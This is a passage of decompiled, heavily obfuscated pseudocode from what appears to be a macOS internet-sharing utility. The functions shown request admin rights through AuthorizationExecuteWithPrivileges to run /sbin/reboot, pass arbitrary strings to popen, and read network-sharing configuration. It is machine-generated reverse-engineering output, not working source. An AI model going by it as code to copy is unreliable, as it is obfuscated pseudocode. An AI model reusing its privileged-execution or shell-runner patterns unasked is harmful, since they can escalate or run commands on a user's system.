asc_100286900[20] = 104;
asc_100286900[21] = 32;
asc_100286900[22] = 115;
asc_100286900[23] = 117;
asc_100286900[24] = 100;
asc_100286900[25] = 111;
asc_100286900[26] = 46;
asc_100286900[27] = 46;
asc_100286900[28] = 46;
asc_100286900[29] = 0;
strcpy(asc_1002868B0, "System reboot required to initialize CH mode");
strcpy(&byte_100286860, "com.apple.AuthorizationRule");
*v28 = -746426966;
break;
case -376010058:
byte_100286960 = 115;
byte_100286961 = 121;
byte_100286962 = 115;
byte_100286963 = 116;
byte_100286964 = 101;
*v28 = -20044433;
break;
case -163527445:
v2 = 0;
v3 = 240298068;
v4 = 582690434;
goto LABEL_105;
}
}
else if ( v15 > -50969776 )
{
if ( v15 == -50969775 )
{
v2 = 0;
v3 = 1018757695;
v4 = -933023097;
goto LABEL_105;
}
if ( v15 == -20044433 )
{
v7 = 1;
byte_100286960 = 115;
byte_100286961 = 121;
byte_100286962 = 115;
byte_100286963 = 116;
byte_100286964 = 101;
v27 = -11;
v3 = -376010058;
v8 = -1774475635;
goto LABEL_132;
}
}
else if ( v15 == -112430895 )
{
*v28 = 142786490;
}
else if ( v15 == -72130792 )
{
dword_10029F5E4 = 1;
HikariFunctionWrapper_18671(v12);
*(&p_flags - 2) = 0;
*(&p_flags - 4) = (UInt32 *)&byte_100286960;
*(&p_flags - 3) = (UInt32 *)12;
*(&p_flags - 2) = (UInt32 *)&pathToTool;
*(&p_flags - 1) = 0;
*(&p_flags - 2) = (UInt32 *)1;
*(&p_flags - 1) = (UInt32 *)(&p_flags - 4);
objc_msgSend(
CFSTR("\xAB\x82\xF1\x5F\x45\xD3\xC1\x95\x81$\xF9\xA4;\xA7\xE6\xE4\x40=\bԎz\xBCc_&\xEE\x86\x3Cg\x1B\x1D\xE6\xF0\x79\xC3\xCDd\xAC\xCE\x39\ai\xB4"),
"UTF8String");
*v28 = -1846625599;
}
}
if ( v15 > -933023098 )
break;
switch ( v15 )
{
case -1070700626:
v5 = 0;
v3 = -1391118363;
v6 = 1598732571;
goto LABEL_124;
case -1040735670:
v23->name = &byte_100286860;
v9 = v23;
v9->valueLength = HikariFunctionWrapper_18673(__s);
v23->value = __s;
goto LABEL_114;
case -1025449364:
*p_flags = 0;
*(&v23->flags + 1) = 0;
environment->count = 1;
*(&environment->count + 1) = 0;
environment->items = v23;
AuthorizationCreate(0, 0, 0, authorization);
AuthorizationCopyRights(*authorization, rights, environment, 3u, 0);
*communicationsPipe = 0;
v26 = AuthorizationExecuteWithPrivileges(*authorization, &pathToTool, 0, arguments, communicationsPipe) == 0;
v5 = 0;
v3 = 1944756954;
v6 = 1096926103;
goto LABEL_124;
}
}
if ( v15 <= -746426967 )
break;
if ( v15 == -746426966 )
{
v3 = -1846625599;
goto LABEL_134;
}
if ( v15 == -518012166 )
{
byte_100286965 = v27 ^ 0x98;
strcpy(&byte_100286966, ".privilege.admin");
strcpy(&pathToTool, "/sbin/reboot");
asc_100286900[0] = 82;
asc_100286900[1] = 101;
asc_100286900[2] = 98;
asc_100286900[3] = 111;
asc_100286900[4] = 111;
asc_100286900[5] = 116;
asc_100286900[6] = 105;
asc_100286900[7] = 110;
*v28 = 2106576518;
}
}
if ( v15 != -845609573 )
break;
LABEL_95:
*v28 = 562438085;
}
}
while ( v15 != -933023097 );
return -1;
}
// 100286860: using guessed type char byte_100286860;
// 100286960: using guessed type char byte_100286960;
// 100286961: using guessed type char byte_100286961;
// 100286962: using guessed type char byte_100286962;
// 100286963: using guessed type char byte_100286963;
// 100286964: using guessed type char byte_100286964;
// 100286965: using guessed type char byte_100286965;
// 100286966: using guessed type char byte_100286966;
// 1002869E0: using guessed type __CFString stru_1002869E0;
// 10029F5E4: using guessed type int dword_10029F5E4;
//----- (0000000100199C06) ----------------------------------------------------
id __fastcall sh(id a1)
{
bool v1; // zf
int v2; // eax
int v3; // ecx
char v4; // cf
int v5; // ecx
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
id v10; // rax
int v11; // eax
const char *v12; // rax
FILE *v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
const char *v17; // rax
void *v19; // [rsp+0h] [rbp-90h] BYREF
SEL v20; // [rsp+8h] [rbp-88h]
id v21; // [rsp+10h] [rbp-80h]
SEL v22; // [rsp+18h] [rbp-78h]
id v23; // [rsp+20h] [rbp-70h]
__CFString *v24; // [rsp+28h] [rbp-68h]
int v25; // [rsp+30h] [rbp-60h]
int v26; // [rsp+34h] [rbp-5Ch] BYREF
id v27; // [rsp+38h] [rbp-58h]
char *v28; // [rsp+40h] [rbp-50h]
FILE *v29; // [rsp+48h] [rbp-48h]
bool v30; // [rsp+54h] [rbp-3Ch]
char v31; // [rsp+55h] [rbp-3Bh]
bool v32; // [rsp+56h] [rbp-3Ah]
char v33; // [rsp+57h] [rbp-39h]
int *v34; // [rsp+58h] [rbp-38h]
__int64 v35; // [rsp+60h] [rbp-30h]
v35 = -1;
v25 = dword_10029F5E8;
v26 = -1111649055;
v34 = &v26;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v26 <= -287424981 )
{
if ( v26 > -977446211 )
{
if ( v26 <= -813913193 )
{
if ( v26 <= -951963746 )
{
switch ( v26 )
{
case -977446210:
objc_autoreleaseReturnValue(v27);
v6 = 0;
v2 = 272527307;
goto LABEL_160;
case -971250599:
v4 = 1;
v2 = 1931515701;
goto LABEL_135;
case -958526113:
*v34 = -933701603;
v24 = (__CFString *)v21;
break;
}
}
else if ( v26 > -933701604 )
{
if ( v26 == -933701603 )
{
v27 = v24;
v6 = 1;
v2 = -813913192;
LABEL_160:
v7 = -977446210;
LABEL_161:
if ( v6 )
v2 = v7;
goto LABEL_163;
}
if ( v26 == -891327183 )
{
v4 = 1;
v2 = 1557190571;
v5 = -1467763388;
goto LABEL_144;
}
}
else if ( v26 == -951963745 )
{
byte_100286A02 = v31 ^ 0x14;
v33 = 0;
*v34 = -2037414504;
}
else if ( v26 == -935779322 )
{
*v34 = -507966418;
}
}
else if ( v26 > -487107670 )
{
if ( v26 > -345409741 )
{
if ( v26 == -345409740 )
{
*v34 = 1764393285;
}
else if ( v26 == -294711317 )
{
v1 = 0;
v2 = -1239195524;
v3 = -2012763237;
goto LABEL_130;
}
}
else
{
if ( v26 == -487107669 )
{
v6 = 0;
v2 = 1894722656;
v7 = -2121352282;
goto LABEL_161;
}
if ( v26 == -482579001 )
{
v4 = 1;
v19 = &OBJC_CLASS___NSMutableString;
v2 = -2032832142;
v5 = -2004865400;
goto LABEL_144;
}
}
}
else if ( v26 > -507966419 )
{
if ( v26 == -507966418 )
{
v6 = 1;
v2 = 1535392291;
v7 = -285086122;
goto LABEL_161;
}
if ( v26 == -502684694 )
{
v10 = HikariFunctionWrapper_18681(v19, "string");
v21 = objc_retainAutoreleasedReturnValue(v10);
*v34 = -1359636608;
}
}
else if ( v26 == -813913192 )
{
objc_autoreleaseReturnValue(v27);
*v34 = -977446210;
}
else if ( v26 == -521859695 )
{
v1 = 0;
v2 = -521859695;
v3 = -958526113;
goto LABEL_130;
}
}
else if ( v26 <= -1890396859 )
{
if ( v26 <= -2032832143 )
{
switch ( v26 )
{
case -2121352282:
v17 = (const char *)objc_msgSend(a1, "UTF8String");
HikariFunctionWrapper_18685(v17, &byte_100286A02);
*v34 = 1894722656;
break;
case -2104970627:
*v34 = 1641584229;
break;
case -2037414504:
v4 = 1;
v2 = 195820549;
v5 = 460991831;
goto LABEL_144;
}
}
else if ( v26 > -2004865401 )
{
if ( v26 == -2004865400 )
{
*v34 = -482579001;
}
else if ( v26 == -1917678939 )
{
objc_msgSend(v21, v20, v23);
objc_release(v23);
v8 = fgets(v28, 4096, v29) == 0;
v2 = -507966418;
LABEL_141:
v9 = -971250599;
goto LABEL_155;
}
}
else if ( v26 == -2032832142 )
{
*v34 = -502684694;
}
else if ( v26 == -2012763237 )
{
objc_retainAutorelease(a1);
v6 = 1;
v2 = -2012763237;
v7 = 2072384505;
goto LABEL_161;
}
}
else if ( v26 > -1359636609 )
{
if ( v26 > -1239195525 )
{
if ( v26 == -1239195524 )
{
objc_retainAutorelease(a1);
*v34 = -2012763237;
}
else if ( v26 == -1111649055 )
{
v6 = 1;
v2 = 1079259398;
v7 = 2013367489;
goto LABEL_161;
}
}
else
{
if ( v26 == -1359636608 )
{
v8 = fgets(v28, 4096, v29) == 0;
v2 = 1174839046;
goto LABEL_141;
}
if ( v26 == -1262086570 )
*v34 = 339713304;
}
}
else if ( v26 > -1766556485 )
{
if ( v26 == -1766556484 )
{
v4 = 0;
v22 = "stringWithUTF8String:";
v2 = -1766556484;
v5 = -1890396858;
LABEL_144:
if ( !v4 )
v2 = v5;
goto LABEL_163;
}
if ( v26 == -1467763388 )
*v34 = 1557190571;
}
else if ( v26 == -1890396858 )
{
*v34 = 208188007;
}
else if ( v26 == -1779698142 )
{
*v34 = -1766556484;
}
}
if ( v26 <= 1079259397 )
break;
if ( v26 <= 1641584228 )
{
if ( v26 <= 1247181312 )
{
switch ( v26 )
{
case 1079259398:
*v34 = 2013367489;
break;
case 1164108037:
v11 = 741655543;
if ( v32 )
v11 = -933701603;
*v34 = v11;
v24 = &stru_10025B688;
break;
case 1174839046:
v4 = 0;
v2 = -1779698142;
v5 = -1766556484;
goto LABEL_144;
}
}
else if ( v26 > 1535392290 )
{
if ( v26 == 1535392291 )
{
v14 = objc_msgSend(&OBJC_CLASS___NSString, v22, v28);
objc_retainAutoreleasedReturnValue(v14);
*v34 = -285086122;
}
else if ( v26 == 1557190571 )
{
v6 = 1;
v31 = 102;
v2 = 1557190571;
v7 = 1725109918;
goto LABEL_161;
}
}
else if ( v26 == 1247181313 )
{
pclose(v29);
*v34 = 1931515701;
}
else if ( v26 == 1394146105 )
{
*v34 = 890290515;
}
}
else if ( v26 > 1894722655 )
{
if ( v26 > 2013367488 )
{
if ( v26 == 2013367489 )
{
v30 = v25 == 0;
v4 = 0;
v2 = 2013367489;
v5 = -1262086570;
goto LABEL_144;
}
if ( v26 == 2072384505 )
*v34 = -487107669;
}
else if ( v26 == 1894722656 )
{
v12 = (const char *)HikariFunctionWrapper_18679(a1, "UTF8String");
v13 = popen(v12, &byte_100286A02);
v32 = v13 == 0;
v29 = v13;
*v34 = 1164108037;
}
else if ( v26 == 1931515701 )
{
pclose(v29);
v4 = 1;
v2 = 185899956;
LABEL_135:
v5 = 1247181313;
goto LABEL_144;
}
}
else if ( v26 > 1725109917 )
{
if ( v26 == 1725109918 )
{
*v34 = -951963745;
}
else if ( v26 == 1764393285 )
{
v8 = 0;
v2 = -935779322;
v9 = 1764393285;
goto LABEL_155;
}
}
else
{
if ( v26 == 1641584229 )
{
v1 = 0;
v2 = 1394146105;
v3 = 890290515;
goto LABEL_130;
}
if ( v26 == 1708131828 )
*v34 = -255419534;
}
}
if ( v26 > 208188006 )
break;
if ( v26 <= -96490317 )
{
switch ( v26 )
{
case -287424980:
v8 = 0;
v2 = 1764393285;
v9 = -345409740;
LABEL_155:
if ( v8 )
v2 = v9;
goto LABEL_163;
case -285086122:
v15 = HikariFunctionWrapper_18683(&OBJC_CLASS___NSString, v22);
v16 = objc_retainAutoreleasedReturnValue(v15);
v1 = 0;
v23 = v16;
v2 = -285086122;
v3 = -2104970627;
goto LABEL_130;
case -255419534:
dword_10029F5E8 = 1;
v28 = (char *)(&v19 - 512);
*v34 = -294711317;
break;
}
}
else if ( v26 > 185899955 )
{
if ( v26 == 185899956 )
{
*v34 = -36323737;
}
else if ( v26 == 195820549 )
{
v4 = 0;
byte_100286A03 = v33;
v2 = 195820549;
v5 = 1708131828;
goto LABEL_144;
}
}
else if ( v26 == -96490316 )
{
*v34 = -521859695;
}
else if ( v26 == -36323737 )
{
*v34 = 629808876;
}
}
if ( v26 <= 460991830 )
break;
if ( v26 > 741655542 )
{
if ( v26 == 741655543 )
{
v6 = 1;
v2 = -2004865400;
v7 = -482579001;
goto LABEL_161;
}
if ( v26 == 890290515 )
{
v8 = 0;
v2 = 389898423;
v9 = 890290515;
goto LABEL_155;
}
}
else if ( v26 == 460991831 )
{
byte_100286A03 = v33;
*v34 = 195820549;
}
else if ( v26 == 629808876 )
{
v4 = 0;
v2 = -96490316;
v5 = -521859695;
goto LABEL_144;
}
}
if ( v26 <= 339713303 )
break;
if ( v26 == 339713304 )
{
v1 = !v30;
v2 = -255419534;
v3 = -891327183;
LABEL_130:
if ( !v1 )
v2 = v3;
LABEL_163:
*v34 = v2;
}
else if ( v26 == 389898423 )
{
*v34 = -1917678939;
}
}
if ( v26 != 208188007 )
break;
v20 = "appendString:";
*v34 = -287424980;
}
}
while ( v26 != 272527307 );
return v27;
}
// 10025B688: using guessed type __CFString stru_10025B688;
// 100286A03: using guessed type char byte_100286A03;
// 10029F5E8: using guessed type int dword_10029F5E8;
//----- (000000010019AA43) ----------------------------------------------------
id __fastcall clean(id a1)
{
char v1; // cf
int v2; // eax
int v3; // ecx
bool v4; // zf
int v5; // ecx
id v6; // rax
id v7; // r12
id v8; // rax
NSCharacterSet *v9; // rax
NSCharacterSet *v10; // rax
const char *v12; // [rsp+8h] [rbp-58h]
NSCharacterSet *v13; // [rsp+10h] [rbp-50h]
id v14; // [rsp+18h] [rbp-48h]
int v15; // [rsp+24h] [rbp-3Ch]
int v16; // [rsp+28h] [rbp-38h] BYREF
bool v17; // [rsp+2Eh] [rbp-32h]
char v18; // [rsp+2Fh] [rbp-31h]
int *v19; // [rsp+30h] [rbp-30h]
v16 = 1122657379;
v19 = &v16;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v16 <= -218692677 )
{
if ( v16 <= -740633223 )
{
if ( v16 > -1413242037 )
{
switch ( v16 )
{
case -1413242036:
v1 = 0;
v2 = 234626318;
v3 = 1852166615;
goto LABEL_66;
case -970525321:
v1 = 1;
v2 = -218692676;
v3 = 969849147;
LABEL_66:
if ( v1 )
v2 = v3;
goto LABEL_68;
case -964330142:
v2 = -1574325996;
goto LABEL_68;
}
}
else
{
switch ( v16 )
{
case -2117522376:
*v19 = 1075751936;
break;
case -1914876709:
*v19 = -970525321;
break;
case -1574325996:
v17 = v15 == 0;
v1 = 0;
v2 = 10102192;
v3 = -1574325996;
goto LABEL_66;
}
}
}
else if ( v16 <= -514050607 )
{
switch ( v16 )
{
case -740633222:
*v19 = 1038983474;
break;
case -725932122:
*v19 = -964330142;
break;
case -707070962:
aZ_11[1] = 0;
*v19 = -112793580;
break;
}
}
else if ( v16 > -382546927 )
{
if ( v16 == -382546926 )
{
*v19 = -1574325996;
}
else if ( v16 == -332874448 )
{
*v19 = 265623592;
}
}
else if ( v16 == -514050606 )
{
v6 = objc_msgSend(a1, v12, v13);
v7 = objc_retainAutoreleasedReturnValue(v6);
objc_release(a1);
v8 = objc_msgSend(v7, "stringByReplacingOccurrencesOfString:withString:", CFSTR("\"z"), &stru_10025B688);
v14 = objc_retainAutoreleasedReturnValue(v8);
objc_release(v7);
objc_release(v13);
*v19 = 141442664;
}
else if ( v16 == -415037833 )
{
v2 = 1075751936;
goto LABEL_68;
}
}
if ( v16 <= 306533752 )
break;
if ( v16 <= 1075751935 )
{
switch ( v16 )
{
case 306533753:
v4 = !v17;
v2 = -970525321;
v5 = -415037833;
LABEL_56:
if ( !v4 )
v2 = v5;
LABEL_68:
*v19 = v2;
break;
case 969849147:
dword_10029F5EC = 1;
objc_retain(a1);
v10 = +[NSCharacterSet whitespaceAndNewlineCharacterSet](
&OBJC_CLASS___NSCharacterSet,
"whitespaceAndNewlineCharacterSet");
v13 = objc_retainAutoreleasedReturnValue(v10);
v12 = "stringByTrimmingCharactersInSet:";
v2 = -158807335;
goto LABEL_68;
case 1038983474:
v2 = -112793580;
goto LABEL_68;
}
}
else if ( v16 > 1852166614 )
{
if ( v16 == 1852166615 )
{
aZ_11[0] = v18;
*v19 = 234626318;
}
else if ( v16 == 2123170513 )
{
*v19 = -1413242036;
}
}
else
{
if ( v16 == 1075751936 )
{
v18 = 40;
v2 = 2123170513;
goto LABEL_68;
}
if ( v16 == 1122657379 )
{
v1 = 1;
v2 = -332874448;
v3 = 265623592;
goto LABEL_66;
}
}
}
if ( v16 > 10102191 )
break;
switch ( v16 )
{
case -218692676:
dword_10029F5EC = 1;
objc_retain(a1);
v9 = +[NSCharacterSet whitespaceAndNewlineCharacterSet](
&OBJC_CLASS___NSCharacterSet,
"whitespaceAndNewlineCharacterSet");
objc_retainAutoreleasedReturnValue(v9);
*v19 = 969849147;
break;
case -158807335:
*v19 = -514050606;
break;
case -112793580:
aZ_11[1] = 0;
v2 = -1914876709;
goto LABEL_68;
}
}
if ( v16 <= 234626317 )
break;
if ( v16 == 234626318 )
{
v1 = 1;
aZ_11[0] = v18;
v2 = 1852166615;
v3 = -740633222;
goto LABEL_66;
}
if ( v16 == 265623592 )
{
v4 = 0;
v15 = dword_10029F5EC;
v2 = -332874448;
v5 = -725932122;
goto LABEL_56;
}
}
if ( v16 != 10102192 )
break;
*v19 = 306533753;
}
}
while ( v16 != 141442664 );
objc_autoreleaseReturnValue(v14);
return v14;
}
// 10019AC2D: variable 'v15' is possibly undefined
// 10019AE9E: variable 'v12' is possibly undefined
// 10019AE9E: variable 'v13' is possibly undefined
// 10019B13F: variable 'v14' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 100286A30: using guessed type __CFString cfstr_Z_11;
// 10029F5EC: using guessed type int dword_10029F5EC;
//----- (000000010019B157) ----------------------------------------------------
char checkInternetSharingCompatibility()
{
bool v0; // zf
int v1; // eax
int v2; // ecx
char v3; // cf
int v4; // ecx
bool v5; // cf
int v6; // ecx
int v7; // eax
bool v8; // zf
int v9; // ecx
id *v10; // rax
id v11; // rax
__int64 v12; // rdx
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
int v22; // eax
NSDictionary *v23; // rax
int v24; // eax
id v25; // rax
id v26; // rax
id *v27; // rax
bool v28; // zf
int v29; // eax
unsigned __int8 v30; // al
id v31; // rax
id v32; // rax
id v33; // rbx
id v34; // rax
id v35; // r14
id v36; // rax
id v37; // rbx
id *v38; // rax
int v39; // eax
id v40; // rax
id v41; // rax
id v42; // rbx
id v43; // rax
id v44; // r14
id v45; // rax
int v46; // eax
int v47; // eax
NSDictionary *v48; // rax
NSDictionary *v49; // rax
id *v50; // rax
id *v51; // rax
int v52; // eax
int v53; // eax
id v54; // rax
id v55; // rax
id v56; // rax
id v57; // rax
id v59; // [rsp+0h] [rbp-2F0h] BYREF
__int64 *v60; // [rsp+8h] [rbp-2E8h]
__int64 v61; // [rsp+10h] [rbp-2E0h]
__int64 *v62; // [rsp+18h] [rbp-2D8h]
id v63; // [rsp+20h] [rbp-2D0h]
__int64 v64; // [rsp+28h] [rbp-2C8h]
id v65; // [rsp+30h] [rbp-2C0h]
_QWORD **v66; // [rsp+38h] [rbp-2B8h]
__int64 *v67; // [rsp+40h] [rbp-2B0h]
__int64 v68; // [rsp+48h] [rbp-2A8h]
_QWORD *v69; // [rsp+50h] [rbp-2A0h]
_QWORD *v70; // [rsp+58h] [rbp-298h]
id v71; // [rsp+60h] [rbp-290h]
__int64 *v72; // [rsp+68h] [rbp-288h]
__int64 v73; // [rsp+70h] [rbp-280h]
SEL v74; // [rsp+78h] [rbp-278h]
__int64 v75; // [rsp+80h] [rbp-270h]
__int64 v76; // [rsp+88h] [rbp-268h]
__int64 v77; // [rsp+90h] [rbp-260h]
id v78; // [rsp+98h] [rbp-258h]
id v79; // [rsp+A0h] [rbp-250h]
void *v80; // [rsp+A8h] [rbp-248h]
id v81; // [rsp+B0h] [rbp-240h]
void *v82; // [rsp+B8h] [rbp-238h]
id *v83; // [rsp+C0h] [rbp-230h]
SEL v84; // [rsp+C8h] [rbp-228h]
__int64 **v85; // [rsp+D0h] [rbp-220h]
SEL v86; // [rsp+D8h] [rbp-218h]
SEL v87; // [rsp+E0h] [rbp-210h]
SEL v88; // [rsp+E8h] [rbp-208h]
SEL v89; // [rsp+F0h] [rbp-200h]
__int64 v90; // [rsp+F8h] [rbp-1F8h]
id v91; // [rsp+100h] [rbp-1F0h]
__int64 v92; // [rsp+108h] [rbp-1E8h]
id v93; // [rsp+110h] [rbp-1E0h]
id v94; // [rsp+118h] [rbp-1D8h]
__int64 **v95; // [rsp+120h] [rbp-1D0h]
id v96; // [rsp+128h] [rbp-1C8h]
id v97; // [rsp+130h] [rbp-1C0h]
id v98; // [rsp+138h] [rbp-1B8h]
id v99; // [rsp+140h] [rbp-1B0h]
void *v100; // [rsp+148h] [rbp-1A8h]
id v101; // [rsp+150h] [rbp-1A0h]
void *v102; // [rsp+158h] [rbp-198h]
__int64 v103; // [rsp+160h] [rbp-190h]
id v104; // [rsp+168h] [rbp-188h]
id v105; // [rsp+170h] [rbp-180h]
void *v106; // [rsp+178h] [rbp-178h]
__int64 v107; // [rsp+180h] [rbp-170h]
id v108; // [rsp+188h] [rbp-168h]
id v109; // [rsp+190h] [rbp-160h]
__int64 v110; // [rsp+198h] [rbp-158h]
void *v111; // [rsp+1A0h] [rbp-150h]
__int64 v112; // [rsp+1A8h] [rbp-148h]
id v113; // [rsp+1B0h] [rbp-140h]
id v114; // [rsp+1B8h] [rbp-138h]
unsigned int v115; // [rsp+1C4h] [rbp-12Ch]
int v116; // [rsp+1C8h] [rbp-128h]
int v117; // [rsp+1CCh] [rbp-124h] BYREF
id *v118; // [rsp+1D0h] [rbp-120h]
SEL v119; // [rsp+1D8h] [rbp-118h]
id v120; // [rsp+1E0h] [rbp-110h]
id v121; // [rsp+1E8h] [rbp-108h]
id v122; // [rsp+1F0h] [rbp-100h]
void *v123; // [rsp+1F8h] [rbp-F8h]
id v124; // [rsp+200h] [rbp-F0h]
id v125; // [rsp+208h] [rbp-E8h]
id *v126; // [rsp+210h] [rbp-E0h]
id v127; // [rsp+218h] [rbp-D8h]
id v128; // [rsp+220h] [rbp-D0h]
SEL v129; // [rsp+228h] [rbp-C8h]
id *v130; // [rsp+230h] [rbp-C0h]
id v131; // [rsp+238h] [rbp-B8h]
id v132; // [rsp+240h] [rbp-B0h]
void *v133; // [rsp+248h] [rbp-A8h]
__int16 v134; // [rsp+256h] [rbp-9Ah]
id *v135; // [rsp+258h] [rbp-98h]
id *v136; // [rsp+260h] [rbp-90h]
id v137; // [rsp+268h] [rbp-88h]
SEL v138; // [rsp+270h] [rbp-80h]
id obj; // [rsp+278h] [rbp-78h]
bool v140; // [rsp+281h] [rbp-6Fh]
bool v141; // [rsp+282h] [rbp-6Eh]
bool v142; // [rsp+283h] [rbp-6Dh]
bool v143; // [rsp+284h] [rbp-6Ch]
unsigned __int8 v144; // [rsp+285h] [rbp-6Bh]
bool v145; // [rsp+286h] [rbp-6Ah]
bool v146; // [rsp+287h] [rbp-69h]
bool v147; // [rsp+288h] [rbp-68h]
bool v148; // [rsp+289h] [rbp-67h]
bool v149; // [rsp+28Ah] [rbp-66h]
bool v150; // [rsp+28Bh] [rbp-65h]
bool v151; // [rsp+28Ch] [rbp-64h]
bool v152; // [rsp+28Dh] [rbp-63h]
unsigned __int8 v153; // [rsp+28Eh] [rbp-62h]
bool v154; // [rsp+28Fh] [rbp-61h]
bool v155; // [rsp+290h] [rbp-60h]
bool v156; // [rsp+291h] [rbp-5Fh]
bool v157; // [rsp+292h] [rbp-5Eh]
bool v158; // [rsp+293h] [rbp-5Dh]
bool v159; // [rsp+294h] [rbp-5Ch]
char v160; // [rsp+295h] [rbp-5Bh]
char v161; // [rsp+296h] [rbp-5Ah]
char v162; // [rsp+297h] [rbp-59h]
char v163; // [rsp+298h] [rbp-58h]
char v164; // [rsp+299h] [rbp-57h]
char v165; // [rsp+29Ah] [rbp-56h]
char v166[5]; // [rsp+29Bh] [rbp-55h] BYREF
id v167; // [rsp+2A0h] [rbp-50h]
char v168; // [rsp+2ABh] [rbp-45h]
char v169; // [rsp+2ACh] [rbp-44h]
char v170; // [rsp+2ADh] [rbp-43h]
char v171; // [rsp+2AEh] [rbp-42h]
char v172; // [rsp+2AFh] [rbp-41h]
char v173; // [rsp+2B0h] [rbp-40h]
char v174; // [rsp+2B1h] [rbp-3Fh]
char v175; // [rsp+2B2h] [rbp-3Eh]
char v176; // [rsp+2B3h] [rbp-3Dh]
char v177; // [rsp+2B4h] [rbp-3Ch]
char v178; // [rsp+2B5h] [rbp-3Bh]
char v179; // [rsp+2B6h] [rbp-3Ah]
char v180; // [rsp+2B7h] [rbp-39h]
int *v181; // [rsp+2B8h] [rbp-38h]
__int64 v182; // [rsp+2C0h] [rbp-30h]
v182 = -1;
v115 = -876149742;
v117 = -287709624;
v181 = &v117;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v117 <= 72290900 )
{
if ( v117 <= -1104937495 )
{
if ( v117 > -1617260819 )
{
if ( v117 <= -1389675994 )
{
if ( v117 <= -1533862309 )
{
if ( v117 > -1559616874 )
{
if ( v117 > -1551608407 )
{
if ( v117 == -1551608406 )
{
v95 = (__int64 **)(v136 + 2);
v70 = v136 + 1;
*v181 = -1790641213;
v169 = 0;
v100 = 0;
v101 = v65;
}
else if ( v117 == -1541558597 )
{
v8 = 0;
v1 = 1518878909;
v9 = 1256305757;
goto LABEL_713;
}
}
else if ( v117 == -1559616873 )
{
*v181 = -2004190092;
}
else if ( v117 == -1552394498 )
{
*v181 = -176309095;
v175 = 0;
}
}
else if ( v117 > -1581047934 )
{
if ( v117 == -1581047933 )
{
objc_release(v167);
*v181 = 1203307057;
}
else if ( v117 == -1567649175 )
{
v124 = v99;
v3 = 1;
v1 = -397256835;
v4 = -1104937494;
goto LABEL_726;
}
}
else if ( v117 == -1617260818 )
{
*v181 = 1401714681;
}
else if ( v117 == -1585052485 )
{
*v181 = -1039253865;
}
}
else if ( v117 <= -1471403113 )
{
if ( v117 > -1515692055 )
{
if ( v117 == -1515692054 )
{
objc_msgSend(v132, v129, CFSTR("\x8D|˯"));
*v181 = 1894653766;
}
else if ( v117 == -1500909417 )
{
objc_enumerationMutation(obj);
*v181 = 1655483730;
}
}
else if ( v117 == -1533862308 )
{
*v181 = 1794479028;
}
else if ( v117 == -1520227939 )
{
*v181 = 2033526100;
}
}
else if ( v117 <= -1424862591 )
{
if ( v117 == -1471403112 )
{
*v181 = -1389675993;
}
else if ( v117 == -1467507967 )
{
asc_100286C50[13] = v134 ^ 0xCAF7;
asc_100286C50[14] = 110;
asc_100286C50[15] = 103;
asc_100286C50[16] = 32;
asc_100286C50[17] = 101;
asc_100286C50[18] = 115;
asc_100286C50[19] = 116;
asc_100286C50[20] = 225;
asc_100286C50[21] = 32;
asc_100286C50[22] = 100;
asc_100286C50[23] = 101;
asc_100286C50[24] = 115;
asc_100286C50[25] = 97;
asc_100286C50[26] = 99;
asc_100286C50[27] = 116;
asc_100286C50[28] = 105;
asc_100286C50[29] = 118;
asc_100286C50[30] = 97;
asc_100286C50[31] = 100;
asc_100286C50[32] = 111;
asc_100286C50[33] = 0;
strcpy(asc_100286BC0, "Interfaces USB detectadas: %@");
strcpy(asc_100286BED, "SharingDevices");
strcpy(aT_15, "SharingDevices en plist: %@");
strcpy(asc_100286B30, "networksetup -listnetworkserviceorder");
aT2[0] = 105;
aT2[1] = 80;
aT2[2] = 104;
aT2[3] = 111;
aT2[4] = 110;
aT2[5] = 101;
aT2[6] = 0;
asc_100286AF1[0] = 78;
asc_100286AF1[1] = 65;
asc_100286AF1[2] = 84;
asc_100286AF1[3] = 0;
strcpy(asc_100286AB0, "/Library/Preferences/SystemConfiguration/com.apple.nat.plist");
asc_100286CA0[0] = 69;
asc_100286CA0[1] = 110;
asc_100286CA0[2] = 97;
asc_100286CA0[3] = 98;
asc_100286CA0[4] = 108;
asc_100286CA0[5] = 101;
asc_100286CA0[6] = 100;
asc_100286CA0[7] = 0;
asc_100286A64[0] = 85;
asc_100286A64[1] = 83;
asc_100286A64[2] = 66;
asc_100286A64[3] = 0;
*v181 = -332096017;
}
}
else
{
switch ( v117 )
{
case -1424862590:
v46 = -1625006227;
if ( v155 )
v46 = 1172397158;
*v181 = v46;
v172 = v178;
v106 = v113;
v107 = v76;
break;
case -1389949220:
*v181 = -427111256;
break;
case -1389901529:
v150 = **v66 == v68;
v5 = 1;
v1 = 1062836642;
v6 = -245975485;
goto LABEL_721;
}
}
}
else if ( v117 > -1297285124 )
{
if ( v117 <= -1187044842 )
{
if ( v117 > -1215064086 )
{
if ( v117 == -1215064085 )
{
v29 = 803931061;
if ( v159 )
v29 = -1750799575;
*v181 = v29;
v179 = 0;
LABEL_575:
v123 = v133;
}
else if ( v117 == -1203016892 )
{
*v181 = -1317723659;
}
}
else if ( v117 == -1297285123 )
{
*v181 = 789298149;
}
else if ( v117 == -1278674351 )
{
*v181 = -1551608406;
}
}
else if ( v117 <= -1178515443 )
{
if ( v117 == -1187044841 )
{
NSLog(
CFSTR("\x8BY\x1E\xF7\xD8\x06\xBCS\xA4\x14\x19\x96\xF6\xE0\x91\x67/k\xDD\x727\xA5\xE6\xBC\x57NT\xCE\x57"),
v167);
v51 = v135;
*((_OWORD *)v135 + 3) = 0;
*((_OWORD *)v51 + 2) = 0;
*((_OWORD *)v51 + 1) = 0;
*(_OWORD *)v51 = 0;
*v181 = -410237099;
}
else if ( v117 == -1185135134 )
{
v110 = v103;
v111 = v102;
v177 = v170;
v3 = 0;
v1 = -1389901529;
v4 = -245975485;
goto LABEL_726;
}
}
else
{
switch ( v117 )
{
case -1178515442:
v75 = *(_QWORD *)(*v70 + 8 * v112);
